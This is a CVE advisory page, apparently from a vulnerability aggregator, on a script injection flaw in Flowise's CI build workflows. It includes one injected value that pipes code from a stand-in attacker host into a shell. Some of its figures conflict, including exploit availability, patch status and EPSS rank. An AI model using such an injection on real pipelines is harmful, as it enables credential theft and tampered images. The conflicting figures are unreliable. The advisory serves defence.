CVE-2026-91936: Flowise: CI script injection leaks AWS and Docker creds

MEDIUMPoC AVAILABLECISA: TRACK*

Published September 15, 2026

CISO Take

Flowise versions before 3.1.4 have a script injection flaw in their Docker image build GitHub Actions workflows, where workflow_dispatch inputs such as tag_version and node_version are interpolated directly into shell run blocks. An attacker who already has repository write access can inject shell metacharacters to run arbitrary commands in the CI runner and steal AWS credentials and Docker Hub tokens. Exposure is limited because it needs high privileges (CVSS 6.8, medium), and there is no public exploit, no Nuclei template, no CISA KEV listing and a low EPSS of 0.46% (top 62%); CISA SSVC rates it TRACK*. The real risk is supply chain: stolen Docker Hub tokens could let an attacker push tampered Flowise images to downstream users. Upgrade to Flowise 3.1.4 or later, rotate any AWS and Docker Hub secrets used by the build workflows, and audit contributor access. Organizations that fork or run their own Flowise build pipelines should review their workflows for the same pattern.

Sources:NVDEPSSGitHub Advisoryvulncheck.comATLASCISA SSVC

What is the risk?

Medium overall. Exploitation needs repository write access (PR:H), but it is network-reachable, low complexity and needs no user interaction. Scope is changed (S:C) because the impact crosses from the repository into the cloud and registry credentials. Integrity impact is high, with no direct confidentiality or availability rating in the vector. Exploitation likelihood is low (EPSS 0.00462, no public exploit, not in KEV). The main exposure is to the Flowise project's CI/CD and to any organization that maintains forks with the same workflows. Downstream consumers are indirectly exposed if image integrity is compromised.

How does the attack unfold?

Initial Access

Attacker obtains repository write access through a compromised contributor account or insider role.

AML.T0012

Exploitation

Attacker triggers the Docker build workflow_dispatch with shell metacharacters in tag_version or node_version.

AML.T0050

Credential Theft

Injected commands read and exfiltrate AWS credentials and Docker Hub tokens from the CI runner.

AML.T0055

Impact

Stolen tokens are used to push tampered Flowise images, compromising downstream deployments.

AML.T0010.004

Initial Access

Attacker obtains repository write access through a compromised contributor account or insider role.

AML.T0012

Exploitation

Attacker triggers the Docker build workflow_dispatch with shell metacharacters in tag_version or node_version.

AML.T0050

Credential Theft

Injected commands read and exfiltrate AWS credentials and Docker Hub tokens from the CI runner.

AML.T0055

Impact

Stolen tokens are used to push tampered Flowise images, compromising downstream deployments.

AML.T0010.004

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Flowise	npm	—	No patch

Do you use Flowise? You're affected.

How severe is it?

CVSS 3.1

6.8 / 10

EPSS

0.5%

chance of exploitation in 30 days

Higher than 40% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○CISA SSVC: Public PoC

○Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVNetwork

ACLow

PRHigh

UINone

SChanged

CNone

IHigh

ANone

What should I do?

1 step

1) Upgrade to Flowise 3.1.4 or later, and for forks, apply the same workflow fix. 2) Rewrite workflows so workflow_dispatch inputs are passed through environment variables and not interpolated with ${{ }} into run blocks, and validate inputs against an allowlist. 3) Rotate AWS keys and Docker Hub tokens used by CI, and review the usage logs for anomalous activity. 4) Restrict repository write access, enforce branch protection and require approvals for workflow_dispatch runs. 5) Use short-lived OIDC credentials in place of long-lived secrets. 6) Pin Flowise images by digest and verify signatures. 7) Detection: review GitHub Actions run logs for unusual tag_version or node_version values containing shell metacharacters (;, $(), backticks, &&), and review Docker Hub and CloudTrail activity for unexpected pushes or API calls.

What does CISA's SSVC say?

DecisionTrack*

Exploitationpoc

AutomatableNo

Technical Impactpartial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionSupply ChainFrameworkAgentAML.T0010.001- AI Software AML.T0010.004- Container Registry AML.T0050- Command and Scripting Interpreter AML.T0055- Unsecured Credentials

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15-Accuracy, robustness and cybersecurity

ISO 42001

A.10.3-Suppliers

NIST AI RMF

GOVERN 6.1-Third-party AI risk policies

OWASP LLM Top 10

LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-91936?

Is CVE-2026-91936 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-91936, increasing the risk of exploitation.

How to fix CVE-2026-91936?

1) Upgrade to Flowise 3.1.4 or later, and for forks, apply the same workflow fix. 2) Rewrite workflows so workflow_dispatch inputs are passed through environment variables and not interpolated with ${{ }} into run blocks, and validate inputs against an allowlist. 3) Rotate AWS keys and Docker Hub tokens used by CI, and review the usage logs for anomalous activity. 4) Restrict repository write access, enforce branch protection and require approvals for workflow_dispatch runs. 5) Use short-lived OIDC credentials in place of long-lived secrets. 6) Pin Flowise images by digest and verify signatures. 7) Detection: review GitHub Actions run logs for unusual tag_version or node_version values containing shell metacharacters (;, $(), backticks, &&), and review Docker Hub and CloudTrail activity for unexpected pushes or API calls.

What systems are affected by CVE-2026-91936?

This vulnerability affects the following AI/ML architecture patterns: Agent frameworks, CI/CD build pipelines, Container image supply chain, Low-code LLM workflow builders.

What is the CVSS score for CVE-2026-91936?

CVE-2026-91936 has a CVSS v3.1 base score of 6.8 (MEDIUM). The EPSS exploitation probability is 0.46%.

What is the AI security impact?

Affected AI Architectures

Agent frameworksCI/CD build pipelinesContainer image supply chainLow-code LLM workflow builders

MITRE ATLAS Techniques

AML.T0010.001AI Software

AML.T0010.004Container Registry

AML.T0050Command and Scripting Interpreter

AML.T0055Unsecured Credentials

Compliance Controls Affected

EU AI Act: Art. 15

ISO 42001: A.10.3

NIST AI RMF: GOVERN 6.1

OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

Flowise versions before 3.1.4 contain a script injection vulnerability in Docker image build workflows where workflow_dispatch inputs are directly interpolated into shell run blocks. Attackers with repository write access can inject shell metacharacters through inputs like tag_version and node_version to execute arbitrary commands and steal AWS credentials and Docker Hub tokens.

Exploitation Scenario

An attacker compromises a contributor account or a malicious insider with write access to the Flowise repository. They trigger the Docker image build workflow manually with tag_version set to a value such as '1.0; curl https://attacker.example/x | sh'. The injected command runs on the CI runner, reads the AWS credentials and Docker Hub token from the environment and exfiltrates them. The attacker then uses the Docker Hub token to push a backdoored Flowise image that harvests LLM API keys and agent workflow data from organizations that pull it.

Weaknesses (CWE)

CWE-78Improper Neutralization of Special Elements used in an OS CommandPrimary CWE-78Improper Neutralization of Special Elements used in an OS Command

CWE-78 — Improper Neutralization of Special Elements used in an OS Command: The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.